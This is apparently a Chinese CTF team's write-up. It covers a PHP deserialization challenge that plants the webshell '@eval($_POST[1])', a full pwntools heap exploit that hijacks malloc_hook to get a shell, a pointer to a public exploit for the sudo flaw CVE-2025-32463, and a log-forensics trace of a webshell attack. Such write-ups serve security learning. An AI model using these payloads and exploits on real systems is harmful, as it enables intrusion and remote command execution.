坚不可摧战队 WriteUp

排名42

战队名称：坚不可摧队

[排行榜截图]

解题思路

WEB

浅析PHP原生类

1.创建 new.php，编写代码构造序列化数据；

```
<?php

class install

{
  private $username;
  private $password;
  public function __construct($username)
  {
    $this->username = $username;
    $this->password = "123"; // 固定密码，不影响漏洞利用
  }
}

class Until
{
  public $a;
```

```
  public $b;

  public $c;

  public $shell; // 存储恶意代码

}

$until = new Until();

$until->a = "ZipArchive";  // 无关属性，用于绕过或填充

$until->b = "install.lock"; // 无关属性，用于绕过或填充

$until->c = 8;        // 无关属性，用于绕过或填充

$until->shell = '<?php @eval($_POST[1]);?>'; // Webshell，接收POST参数1执行命令

$install_inner = new install($until);  // 嵌套install对象

$install_outer = new install($install_inner); // 再次嵌套

echo urlencode(serialize($install_outer)); // 序列化并URL编码，便于传输

?>
```

2.执行 php new.php，得到序列化后的字符串

```
php new.php

O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%
3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22
%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%
22%3Bi%3A8%3Bs%3A5%3A%22shell%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%
3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00inst
all%00password%22%3Bs%3A3%3A%22123%22%3B%7D%
```

3.发送POST请求执行命令

```
config.php `1=system(cat /flag);`
得到FLAG：flag{8909eac09fdfcd423a816806fab30d3c}
```

GAME

我嘞个超级马里奥

1.玩游戏最后第一关通关得到flag

2.flag

```
Flag:flag{2243fe9dd6d2e0526db7f37c7f52fb4a}
```

PWN

我不吃牛肉

1、漏洞分析

```
（1）Use-After-Free (UAF)
free后指针未置空，导致可以继续edit或show已被释放的chunk。
这允许我们修改已释放的chunk，影响后续的malloc分配。
（2）堆溢出
edit函数允许写入比chunk实际大小更多的数据，导致可以覆盖相邻chunk的元数据（如size字段）。
（3）Fastbin Attack
由于可以控制free后的chunk，我们可以利用Fastbin机制伪造fd指针，实现任意地址写。
```

2、步骤

```
（1）泄露Libc基址
申请一个大chunk（如0x500），然后释放它，使其进入unsorted bin。
unsorted bin中的chunk会包含main_arena的地址，通过show泄露它，计算libc基址。
malloc(0, 0x500)      # 申请大chunk，进入unsorted bin
malloc(1, 0x10)       # 防止合并
free(0)               # 释放chunk0，进入unsorted bin
show(0)               # 泄露main_arena地址
base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78  # 计算libc基址
main_arena的地址可以通过unsorted bin泄露，减去偏移0x3c4b78得到libc基址。
（2）Fastbin Attack
申请一个0x60的chunk并释放，使其进入fastbin。
利用UAF修改fd指针，指向malloc_hook附近的伪造chunk（如malloc_hook - 0x23）。
再次申请0x60的chunk，获得对malloc_hook的控制权。
malloc(2, 0x60)       # 申请一个fastbin大小的chunk
free(2)               # 释放它，进入fastbin
edit(2, 0x8, p64(base + 0x3c4b10 - 0x23))  # 修改fd指针，指向伪造的chunk
0x3c4b10是main_arena中的fastbin指针，-0x23是为了伪造一个合法的size字段（0x7f）。
（3）劫持malloc_hook
通过edit修改malloc_hook为system地址。
调用malloc触发system("/bin/sh")，获取shell。
malloc(0, 0x60)       # 第一次分配，拿到原来的chunk
malloc(1, 0x60)       # 第二次分配，拿到伪造的chunk（靠近malloc_hook）
edit(1, 0x13+8, b'a'*0x13 + p64(base + 0x453a0))  # 覆盖malloc_hook为system
0x453a0是system在libc中的偏移。
最后调用malloc触发system("/bin/sh")：
malloc(2, base + 0x18ce57)  # 这里的参数是"/bin/sh"字符串的地址
p.interactive()             # 进入交互式shell
```

3、完整EXP

```
from pwn import *

def malloc(idx, size):
    p.sendlineafter(':', '8')
    p.sendlineafter(':', str(idx))
    p.sendlineafter(':', str(size))

def free(idx):
    p.sendlineafter(':', '15')
    p.sendlineafter(':', str(idx))

def edit(idx, size, data):
    p.sendlineafter(':', '18')
    p.sendlineafter(':', str(idx))
    p.sendlineafter(':', str(size))
    p.sendlineafter(':', data)

def show(idx):
    p.sendlineafter(':', '20')
    p.sendlineafter(':', str(idx))

p = process('./pwn')
libc = ELF('./libc.so.6')

# Step 1: Leak libc base via unsorted bin
malloc(0, 0x500)
malloc(1, 0x10)
free(0)
show(0)
p.recvline()
base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78

# Step 2: Fastbin attack to control malloc_hook
malloc(2, 0x60)
free(2)
edit(2, 0x8, p64(base + 0x3c4b10 - 0x23))  # Fake chunk near malloc_hook
malloc(0, 0x60)
malloc(1, 0x60)

# Step 3: Overwrite malloc_hook with system
edit(1, 0x13+8, b'a'*0x13 + p64(base + libc.sym['system']))

# Step 4: Trigger system("/bin/sh")
malloc(2, base + next(libc.search(b'/bin/sh')))

p.interactive()
```

4、flag

```
flag{fbcfb525e3b439086b2fc36cc9136785}
```

INFOSEC

最近还好吗

1、CVE编号：

```
CVE-2025-32463
```

2、利用工具：

```
CVE-2025-32463_chwoot
```

3、项目地址：

```
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
```

4、得到flag：

```
flag{fbcfb525e3b439086b2fc36cc9136785}
```

CDF

可恶的木马竟然伪装成我的朋友

```
仔细观察日志，看到其中有三条信息：
```

1、 确定木马上传日期

```
通过搜索所有日志中的banner_home.jpg文件访问记录。

grep "banner_home.jpg" ex*.log > bh_all.txt

正常情况下，banner_home.jpg文件大小为：50,428字节

在ex180223.log日志中，从21:18开始，该文件大小变为：37,756字节

结论：文件大小变化表明图片被木马替换，攻击发生在2018年2月23日。
```

2、 锁定攻击者IP地址

```
查找首次访问被替换文件的可疑IP。

"GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 50428

183.62.9.42 - - [23/Feb/2018:21:18:27 +0800] "GET /sxzn/images/banner_home.jpg HTTP/1.1" 200
37756

行为特征：

该IP在文件被替换前后有大量可疑活动

先正常访问，随后通过Webshell进行POST操作

最终访问到被木马替换的图片文件

结论：攻击者IP地址为 183.62.9.42
```

3、 还原Webshell攻击链条

```
提取该IP全天的访问记录并按时间排序。

grep "183.62.9.42" ex180223.log > 183.log

攻击序列：攻击者按顺序尝试了三个Webshell文件

table.jsp → en.jsp → 2.jsp

攻击过程重建

初始探测（21:02:20）：尝试访问table.jsp但文件不存在；

建立据点（21:02:32）：成功访问en.jsp并开始通过该后门操作；

备份控制（21:04:39）：部署第二个Webshell2.jsp确保持久访问；

实施替换（21:18:27）：将正常图片替换为木马文件。
```

```
最终得出flag: flag{2018-02-23/183.62.9.42/table.jsp-en.jsp-2.jsp}
```